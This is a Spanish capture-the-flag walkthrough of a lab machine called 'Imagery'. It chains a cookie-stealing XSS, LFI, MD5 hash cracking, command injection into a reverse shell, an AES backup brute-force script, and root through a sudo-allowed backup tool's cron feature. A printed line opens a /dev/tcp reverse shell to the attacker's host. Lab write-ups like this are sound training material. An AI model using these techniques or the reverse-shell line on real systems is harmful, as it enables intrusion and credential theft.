Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 14:45 EDT
Nmap scan report for 10.10.11.88
Host is up (0.039s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.65 seconds
Veremos que hay varios puertos interesantes entre ellos veremos un puerto 8000 el cual hay un python3 como servidor, si entramos dentro veremos una pagina web por lo que podremos creer que hay un server de tipo Flask.
Investigando un poco veremos que hay un boton llamado login, en el cual si entramos dentro veremos efectivamente un login, pero tambien a parte veremos un registro un poco mas abajo, si nos registramos con un email junto con una contraseña cualquiera, nos lleva al login de nuevo, metiendo dichas credenciales registradas veremos lo siguiente:
Vemos que podemos subir un archivo a la pagina en nuestro panel, pero solamente tienen que ser imagenes por lo que vemos.
Si bajamos en el footer veremos lo siguiente:
Vemos que hay una opcion mas en la cual no esta en la barra normal de arriba, si le damos veremos esta pagina:
Cuando vayamos a enviar el reporte, abrimos BurpSuite nos pondremos a la escucha para interceptar la peticion, ahora si enviamos la peticion y tenemos BurpSuite a la escucha veremos la siguiente peticion capturada:
Vemos que esta utilizando JSON para enviar la informacion, si probamos a enviar un XSS de esta forma, en la respuesta veremos esto:
Vemos que no dio ningun error, pero tampoco nos dio una informacion visual de si se esta reflejando o no, por lo que vamos a probar un XSS que intente obtener la Cookie del usuario que le llegue dicho mensaje.
Antes de enviarlo nos pondremos a la escucha para que nos llegue la peticion cuando alguien entre a dicho mensaje.
Si esperamos un rato despues de enviar la peticion con BurpSuite veremos lo siguiente:
Veremos que ha funcionado, vamos a irnos al Storage de nuestro navegador e intercambiar la Cookie nuestra por la que hemos recibido a ver que pasa.
Una vez cambiado y recargada la pagina veremos una opcion llamada Admin panel, si entramos dentro veremos lo siguiente:
Vemos que podemos descargarnos un archivo, vamos a capturar la peticion con BurpSuite para ver que esta pasando por detras, si le damos a descargar y la interceptamos...
Vemos que esta llamando a un parametro en concreto para descargar un archivo, vamos a probar si esto pudiera ser vulnerable a un LFI de esta forma:
Veremos que efectivamente nos descarga un archivo y si lo leemos:
Con esto confirmamos que efectivamente si hay un LFI.
Despues de un rato investigando por los paths encontramos un db.json de esta forma:
Info:
Vemos que obtenemos 2 contraseñas de dos usuarios, uno el admin y el otro de testuser, vamos a intentar crackear las dos contraseñas a ver si hay suerte.
John (Crack Hash)
hash
Info:
Veremos que nos ha descargado la del usuario testuser, si probamos a meternos dentro con dicha contraseña en la pagina, veremos lo siguiente:
Info:
Veremos que en las opciones que antes teniamos bloqueadas, ahora estan desbloqueadas, por lo que vamos a investigar por aqui.
Escalate user web
Si nos vamos a Transform Image veremos a nivel de peticion esto si lo capturamos con BurpSuite:
Si probamos en cualquiera de los parametros de la x para abajo poniendo este payload:
Para intentar concatenar cualquier comando que se este ejecutando por detras y despues que nos llegue una peticion a ver si se esta ejecutando bien quedando la peticion de esta forma:
Abriremos un servidor de python3.
Ahora si enviamos la peticion nos llegara a nuestro servidor esto:
Veremos que funciona, por lo que vamos a probar a realizar una reverse shell de esta forma:
Hay que realizar otra ; al final para concatenar otro comando que se estaba ejecutando por detras, ya que si no, da error, pero antes de enviarlo nos pondremos a la escucha:
Ahora si enviamos la peticion con ese payload y volvemos a donde tenemos la escucha veremos lo siguiente:
Veremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
Escalate user mark
Si investigamos un poco veremos que hay un directorio bastante interesante que es el siguiente:
Info:
Vemos un archivo comprimido pero con una encriptacion de AES por lo que vamos a pasarnoslo a nuestra maquina atacante.
Ahora en la maquina atacante nos descargamos el archivo.
Una vez descargado, vamos a crearnos un script para realizar fuerza bruta de dicho archivo con este script.
bruteAES.py
Ahora lo ejecutamos de esta forma:
Info:
Veremos que hemos encontrado la contraseña llamada bestfriends, por lo que nos da el archivo directamente .zip.
Esto nos descomprimira el backup de la web, vamos a investigar que contiene y si tiene algo interesante.
Si leemos de nuevo el archivo db.json veremos lo siguiente:
Veremos que hay un usuario mas llamado mark y si leemos el passwd veremos que existe un usuario a nivel de sistema llamado mark, por lo que vamos a probar a crackear la contraseña.
hash
Info:
Veremos que ha funcionado y obtenemos la contraseña de dicho usuario, vamos a probar a escalar al usuario desde la shell que tenemos haciendo esto:
Metemos como contraseña supersmash...
Con esto veremos que seremos dicho usuario, por lo que leeremos la flag de usuario.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el binario charcol como el usuario root, por lo que vamos a investigar que hace.
Si listamos el help del comando veremos que nos puede meter en una shell propia del binario.
Info:
Dentro de la misma si hacemos help veremos lo siguiente:
Vemos que podemos crear un crontab, por lo que vamos aprovechar eso para hacer esto, pero antes de darle a enviar vamos a ponernos a la escucha:
Ahora si lo ejecutamos...
Info:
Volvemos a donde tenemos la escucha y veremos lo siguiente:
Vemos que ha funcionado y con esto seremos root, por lo que leeremos la flag de root.
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
iambatman (testuser)
1g 0:00:00:00 DONE (2025-10-04 03:34) 1.298g/s 18627Kp/s 18627Kc/s 18943KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
listening on [any] 7777 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.11.88] 41506
bash: cannot set terminal process group (1334): Inappropriate ioctl for device
bash: no job control in this shell
web@Imagery:~/web$ whoami
whoami
web
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
#!/usr/bin/env python3
import pyAesCrypt
import os
import sys
import time
def decrypt_with_rockyou(aes_file, rockyou_path, output_file="decrypted.zip"):
"""
Descifra un archivo .aes usando rockyou.txt como wordlist
"""
bufferSize = 64 * 1024
attempts = 0
start_time = time.time()
# Verificar que rockyou.txt existe
if not os.path.exists(rockyou_path):
print(f"Error: {rockyou_path} no encontrado")
return None
# Verificar que el archivo .aes existe
if not os.path.exists(aes_file):
print(f"Error: {aes_file} no encontrado")
return None
print(f"[*] Iniciando fuerza bruta con {rockyou_path}")
print(f"[*] Archivo a descifrar: {aes_file}")
print(f"[*] Progreso: ", end="", flush=True)
try:
with open(rockyou_path, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
password = line.strip()
attempts += 1
# Mostrar progreso cada 1000 intentos
if attempts % 1000 == 0:
print(f"{attempts}...", end="", flush=True)
# Saltar líneas vacías
if not password:
continue
try:
# Intentar descifrar
pyAesCrypt.decryptFile(aes_file, output_file, password, bufferSize)
# Verificar si el archivo descifrado es un ZIP válido
if os.path.exists(output_file) and os.path.getsize(output_file) > 0:
with open(output_file, 'rb') as check_file:
header = check_file.read(4)
if header == b'PK\x03\x04': # Cabecera ZIP válida
end_time = time.time()
print(f"\n[SUCCESS] ¡Contraseña encontrada!")
print(f"[SUCCESS] Contraseña: {password}")
print(f"[SUCCESS] Intentos: {attempts}")
print(f"[SUCCESS] Tiempo: {end_time - start_time:.2f} segundos")
print(f"[SUCCESS] Archivo descifrado: {output_file}")
return password
# Si no es ZIP válido, eliminar
os.remove(output_file)
except Exception:
# Password incorrecta, continuar
if os.path.exists(output_file):
os.remove(output_file)
continue
except KeyboardInterrupt:
print(f"\n[*] Interrumpido por el usuario")
print(f"[*] Total de intentos: {attempts}")
return None
print(f"\n[-] Contraseña no encontrada en rockyou.txt")
print(f"[-] Total de intentos: {attempts}")
return None
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Uso: python3 brute_aes.py <archivo.aes> <ruta/rockyou.txt>")
print("Ejemplo: python3 brute_aes.py web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt")
sys.exit(1)
aes_file = sys.argv[1]
rockyou_path = sys.argv[2]
password = decrypt_with_rockyou(aes_file, rockyou_path)
if password:
print("\n[+] ¡Archivo descifrado exitosamente!")
# Verificar el contenido
if os.path.exists("decrypted.zip"):
print("[+] Verificando contenido...")
os.system("file decrypted.zip")
os.system("unzip -l decrypted.zip 2>/dev/null || echo 'No se puede listar el contenido'")
else:
print("\n[-] No se pudo descifrar el archivo")
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
supersmash (mark)
1g 0:00:00:00 DONE (2025-10-04 04:12) 50.00g/s 12969Kp/s 12969Kc/s 12969KC/s swilly..sugar*
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
su mark
bash-5.2$ whoami
mark
779c8962d92d0453d471ef6328978b56
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
[2025-10-04 08:20:07] [INFO]
Charcol Shell Commands:
Backup & Fetch:
backup -i <paths...> [-o <output_file>] [-p <file_password>] [-c <level>] [--type <archive_type>] [-e <patterns...>] [--no-timestamp] [-f] [--skip-symlinks] [--ask-password]
Purpose: Create an encrypted backup archive from specified files/directories.
Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/'.
Naming: Automatically adds timestamp unless --no-timestamp is used. If no -o, uses input filename as base.
Permissions: Files created with 664 permissions. Ownership is user:group.
Encryption:
- If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
- If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED archive.
Examples:
- Encrypted with file-specific password:
backup -i /home/user/my_docs /var/log/nginx/access.log -o /tmp/web_logs -p <file_password> --verbose --type tar.gz -c 9
- Encrypted with app password (if status 1):
backup -i /home/user/example_file.json
- Unencrypted (if status 2 and no -p):
backup -i /home/user/example_file.json
- No timestamp:
backup -i /home/user/example_file.json --no-timestamp
fetch <url> [-o <output_file>] [-p <file_password>] [-f] [--ask-password]
Purpose: Download a file from a URL, encrypt it, and save it.
Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/fetched_file'.
Permissions: Files created with 664 permissions. Ownership is current user:group.
Restrictions: Fetching from loopback addresses (e.g., localhost, 127.0.0.1) is blocked.
Encryption:
- If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
- If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED file.
Examples:
- Encrypted:
fetch <URL> -o <output_file_path> -p <file_password> --force
- Unencrypted (if status 2 and no -p):
fetch <URL> -o <output_file_path>
Integrity & Extraction:
list <encrypted_file> [-p <file_password>] [--ask-password]
Purpose: Decrypt and list contents of an encrypted Charcol archive.
Note: Requires the correct decryption password.
Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
Example:
list /var/backup/<encrypted_file_name>.zip.aes -p <file_password>
check <encrypted_file> [-p <file_password>] [--ask-password]
Purpose: Decrypt and verify the structural integrity of an encrypted Charcol archive.
Note: Requires the correct decryption password. This checks the archive format, not internal data consistency.
Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
Example:
check /var/backup/<encrypted_file_name>.tar.gz.aes -p <file_password>
extract <encrypted_file> <output_directory> [-p <file_password>] [--ask-password]
Purpose: Decrypt an encrypted Charcol archive and extract its contents.
Note: Requires the correct decryption password.
Example:
extract /var/backup/<encrypted_file_name>.zip.aes /tmp/restored_data -p <file_password>
Automated Jobs (Cron):
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
Purpose: Add a new automated cron job managed by Charcol.
Verification:
- If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
- If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
Examples:
- Status 1 (encrypted app password), cron:
CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), cron, unencrypted backup:
CHARCOL_NON_INTERACTIVE=true charcol auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), interactive:
auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
(will prompt for system password)
auto list
Purpose: List all automated jobs managed by Charcol.
Example:
auto list
auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
Purpose: Modify an existing Charcol-managed automated job.
Verification: Same as 'auto add'.
Example:
auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"
auto delete <job_id>
Purpose: Remove an automated job managed by Charcol.
Verification: Same as 'auto add'.
Example:
auto delete <job_id>
Shell & Help:
shell
Purpose: Enter this interactive Charcol shell.
Example:
shell
exit
Purpose: Exit the Charcol shell.
Example:
exit
clear
Purpose: Clear the interactive shell screen.
Example:
clear
help [command]
Purpose: Show help for Charcol or a specific command.
Example:
help backup
Global Flags (apply to all commands unless overridden):
--app-password <password> : Provide the Charcol *application password* directly. Required for 'auto' commands if status 1. Less secure than interactive prompt.
-p, "--password" <password> : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
-v, "--verbose" : Enable verbose output.
--quiet : Suppress informational output (show only warnings and errors).
--log-file <path> : Log all output to a specified file.
--dry-run : Simulate actions without actual file changes (for 'backup' and 'fetch').
--ask-password : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
--no-banner : Do not display the ASCII banner.
-R, "--reset-password-to-default" : Reset application password to default (requires system password verification).
charcol>
[2025-10-04 08:22:50] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
[2025-10-04 08:22:55] [INFO] System password verified successfully.
[2025-10-04 08:22:55] [INFO] Auto job 'testShell' (ID: a21245a5-042e-44ab-8596-9f10228e52ce) added successfully. The job will run according to schedule.
[2025-10-04 08:22:55] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true bash -c 'bash -i >& /dev/tcp/10.10.14.64/7755 0>&1'
listening on [any] 7755 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.11.88] 40014
bash: cannot set terminal process group (78587): Inappropriate ioctl for device
bash: no job control in this shell
root@Imagery:~# whoami
whoami
root